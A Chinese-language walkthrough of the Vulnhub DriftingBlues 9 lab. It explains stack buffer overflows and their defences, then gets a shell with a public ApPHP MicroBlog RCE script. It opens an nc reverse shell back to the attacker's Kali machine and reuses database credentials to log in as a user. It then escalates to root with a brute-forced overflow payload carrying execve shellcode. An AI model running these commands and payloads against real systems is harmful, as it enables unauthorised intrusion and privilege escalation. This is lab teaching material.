vulhub-driftingblues9缓冲区溢出攻击提权
缓冲区溢出攻击
前期准备
kali按装 checksec和gdb软件
apt install checksec
apt install gdb
如果gdb安装失败执行如下命令
apt-get update
如果提示签名问题,执行如下命令
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5
ED65462EC8D5E4C5 是更新失败是提示的秘钥
概述
1. 概念
缓冲区溢出攻击是指:
程序向内存缓冲区写入数据时,没有正确检查输入数据的大小,导致数据超过缓冲区的边界,覆盖了相邻的内存区域,从而引发程序异常,甚至执行攻击者注入的恶意代码。
2. 原理
可以用一个形象比喻:
- 缓冲区 = 水杯
- 输入数据 = 倒水
- 程序没检查水的多少 → 倒满之后还继续倒 → 水溢出来,把旁边的东西(内存数据)淹没
- 如果攻击者“溢出”的数据恰好覆盖了程序的控制信息(比如函数返回地址),那么程序就会按照攻击者的意图跳转执行恶意代码。
示意图(栈溢出):
[缓冲区数据] → 正常:AAAAA
[返回地址] → 正常:0x401234
攻击者输入:
[缓冲区数据] → AAAAA + 恶意Shellcode
[返回地址] → 改成 Shellcode 的地址
3. 分类
- 栈溢出(Stack Overflow)
- 目标:覆盖栈上的返回地址或函数指针
- 最常见
- 堆溢出(Heap Overflow)
- 目标:修改堆上的结构指针(如 malloc/free 链表)
- 格式化字符串漏洞(Format String Vulnerability)
- 本质上也能造成内存破坏甚至代码执行
- 整数溢出导致的缓冲区溢出
- 计算长度时整数越界,导致分配的缓冲区过小
4. 危害
- 执行任意代码(典型:反弹 Shell)
- 提权攻击
- 信息泄露
- 系统崩溃
5. 防御措施
代码级防御
- 严格检查输入长度(
strncpy
替代strcpy
) - 使用安全库(
strlcpy
,memcpy_s
) - 边界检查
编译器/系统防御
- 栈保护(Stack Canaries / ProPolice)
- 地址空间布局随机化(ASLR)
- 数据执行保护(DEP / NX bit)
- 堆分配安全检查(Safe unlinking)
试验过程
一 环境准备
Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL)
靶机地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/
kali攻击机ip:192.168.110.130
kali网络模式NAT
靶机网络模式NAT
二 信息收集
1 使用nmap进行主机发现
2 使用nmap进行端口发现
3 访问80端口
查看源码:
4 搜索漏洞
发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞:
searchsploit ApPHP MicroBlog
发现有个远程命令执行。
三 漏洞利用-getshell
1 复制33070.py
把33070.py复制到kali用户主目录
2 getshell
运行:
python2 33070.py http://192.168.110.178
getshell成功
并且获得了数据库的用户名和密码
但是发现不能用cd切换目录
3 升级shell
使用nc把shell环境转出来
#kali运行
nc -lvnp 4444
#靶机运行
nc 192.168.110.130 4444 -e /bin/sh
升级shell
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
4 登录clapton用户
发现有 clapton 用户,和数据库中的用户一样,尝试用数据路中的密码登录一下 clapton 用户:
成功登录到 clapton 用户,查看一下用户文件:
提示缓冲区溢出,并且给了两个案例:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
四 缓冲区溢出提权
1 导出input
先把 input 文件传输到本地,用 python2 开启一个简易 http 服务并获取 input 文件并赋权
python2 -m SimpleHTTPServer
wget http://192.168.110.178:8000/input
2 授权
chmod +x input
3 安全评估
检查一下有没有防护措施:
checksec --file=./input
逐项解释
- RELRO(Relocation Read-Only)
No RELRO
→ 链接时没有启用-z relro
,意味着 GOT 表可写。- 危害:攻击者可以通过 GOT 覆写 劫持函数调用。
- Stack Canary
No canary found
→ 没有栈保护值。- 危害:栈溢出时无法检测,覆盖返回地址直接成功。
- NX(Non-eXecutable Stack)
NX disabled
→ 栈是可执行的。- 危害:攻击者注入 Shellcode 后,可以直接执行。
- PIE(Position Independent Executable)
No PIE
→ 程序基址固定。- 危害:内存地址固定,攻击者不需要绕过地址随机化(ASLR)。
- RPATH / RUNPATH
- 都是
No
→ 没有特别的运行库搜索路径,正常。
- 都是
- Symbols
69 Symbols
→ 程序符号表保留较多信息(可能包含函数名),有助于逆向分析。
- FORTIFY
No
→ 没有启用_FORTIFY_SOURCE
,说明字符串函数(如strcpy
)没有额外的运行时检查。Fortified 0
/Fortifiable 2
→ 本来有 2 个函数可以加固,但没启用。
整体安全评估
- 这个二进制(
./input.elf
)相当于裸奔状态:
❌ 无 RELRO
❌ 无 Canary
❌ NX 禁用
❌ 无 PIE
❌ 无 FORTIFY
➡️ 对攻击者来说:
- 可以 溢出覆盖返回地址
- 可以 执行注入的 Shellcode(因为栈可执行)
- 地址固定,payload 编写简单
- 几乎就是 CTF/教学里专门留给你做栈溢出实验的“脆弱程序”。
4 禁用 ASLR并加载input
先禁用 ASLR,然后在 gdb 中加载二进制文件:
#你这个命令是用来**关闭 Linux 系统的地址空间布局随机化(ASLR)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
#加载input
gdb -q input
5 计算偏移量
用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
在 0x41376641 处得到了错误,计算一下偏移量:
./pattern_offset.rb -q 0x41376641
计算出偏移量是 171
6 靶机上运行
加载input
确认是否可用
run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 1000 ')
查看 ESP 寄存器的值
x/s $esp
用esp 寄存器的 0xbfc82310 替换 4 个 B,因为是小字节序,倒过来写,因为靶机启用了 ASLR,没有权限关闭,所以写个循环,构造 payload:
0xbfa3a830
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x30\xa8\xa3\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); donefor i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x23\xc8\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
得到了root权限,在root根目录查看flag